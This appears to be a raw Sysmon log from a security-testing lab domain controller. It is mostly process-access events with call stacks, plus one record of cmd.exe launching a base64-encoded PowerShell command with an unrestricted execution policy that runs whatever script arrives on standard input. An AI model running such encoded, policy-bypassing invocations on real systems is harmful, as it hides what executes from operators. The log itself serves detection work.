09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004342Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004341Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004340Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004339Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2921-5F80-E200-000000007F01}4820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004338Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-2921-5F80-E100-000000007F01}49444784C:\Windows\system32\cmd.exe{A5F018FF-2921-5F80-E200-000000007F01}4820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004337Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.106{A5F018FF-2921-5F80-E200-000000007F01}4820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2921-5F80-E100-000000007F01}4944C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000004336Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004335Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2921-5F80-E100-000000007F01}4944C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004334Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004333Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004332Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004331Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004330Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004329Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004328Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004327Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004326Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 